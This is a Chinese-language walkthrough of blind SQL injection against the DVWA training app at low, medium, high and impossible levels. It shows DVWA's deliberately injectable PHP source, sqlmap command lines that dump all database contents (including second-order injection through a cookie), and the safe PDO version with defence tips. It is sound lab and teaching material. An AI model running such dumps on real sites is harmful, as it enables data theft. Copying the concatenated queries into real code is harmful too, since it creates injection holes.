DVWA靶机-全级别测试-SQL注入（盲注）

sql盲注

盲注只回复是或否，Sql注入回复详细信息；

过程一般如下：

1、判断是否存在注入，注入时字符型还是数字型

2、猜解数据库的长度，猜解数据库的名称

3、猜解数据库中有几个表，猜解表的长度，猜解表的名称

4、猜解表中有几个字段、猜解字段长度，猜解字段名称

5、猜解数据

手工方式太慢了，故我们使用工具进行猜解

低难度

设置

源代码：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0);
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

}

?>

可以看到，返回信息已经简化了

将页面发送到CO2分析

点击run，进行猜解

数据库可以猜解，下面我们进行数据的猜解

参数--dump all

-u "http://42.194.205.186:80/DVWA/vulnerabilities/sqli_blind/?id=1^&Submit=Submit" --cookie="td_cookie=3687296581;td_cookie=3687686252;td_cookie=3687788067;PHPSESSID=odn198v1riodhe8ht89ifclgm6;security=low" --dump all

中难度

设置

源代码：

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }
            
            break;
        case SQLITE:
            global $sqlite_db_connection;
            
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }
            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

页面是post方法提交

看起来是简单的

我们换个工具

填写基础信息

注意填写post data

这软件抽风了，昨天还行，今天不行了

发送到CO2插件

参数--dump all直接下载数据

等待结果中

高难度

设置

源代码：

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];
    $exists = false;

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

            $exists = false;
            if ($result !== false) {
                // Get results
                try {
                    $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
                } catch(Exception $e) {
                    $exists = false;
                }
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            try {
                $results = $sqlite_db_connection->query($query);
                $row = $results->fetchArray();
                $exists = $row !== false;
            } catch(Exception $e) {
                $exists = false;
            }

            break;
    }

    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

?>

看效果

拼接画面

将其sqlmap二次注入

加入参数--second-url

设置好参数信息

-u "http://42.194.205.186:80/DVWA/vulnerabilities/sqli_blind/cookie-input.php" --data="id=3^&Submit=Submit" --level=2 --second-url="http://42.194.205.186/DVWA/vulnerabilities/sqli_blind/" --cookie="td_cookie=3687296581;id=2;td_cookie=3687686252;td_cookie=3687788067;PHPSESSID=odn198v1riodhe8ht89ifclgm6;security=high"

点击run

下载里面数据

python sqlmap.py -r 3.txt -p id --second-url="http://42.194.205.186/DVWA/vulnerabilities/sqli_blind/" --dump all

不可能难度

设置

源代码：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    $exists = false;

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        $id = intval ($id);
        switch ($_DVWA['SQLI_DB']) {
            case MYSQL:
                // Check the database
                $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();

                $exists = $data->rowCount();
                break;
            case SQLITE:
                global $sqlite_db_connection;

                $stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
                $stmt->bindValue(':id',$id,SQLITE3_INTEGER);
                $result = $stmt->execute();
                $result->finalize();
                if ($result !== false) {
                    // There is no way to get the number of rows returned
                    // This checks the number of columns (not rows) just
                    // as a precaution, but it won't stop someone dumping
                    // multiple rows and viewing them one at a time.

                    $num_columns = $result->numColumns();
                    if ($num_columns == 1) {
                        $row = $result->fetchArray();

                        $numrows = $row[ 'numrows' ];
                        $exists = ($numrows == 1);
                    }
                }
                break;
        }

    }

    // Get results
    if ($exists) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

使用pdo技术，没得玩，同时返回的查询结果为1，才会输出。

防御措施

1、使用PDO技术

2、多做SQL查询限制

3、增加WAF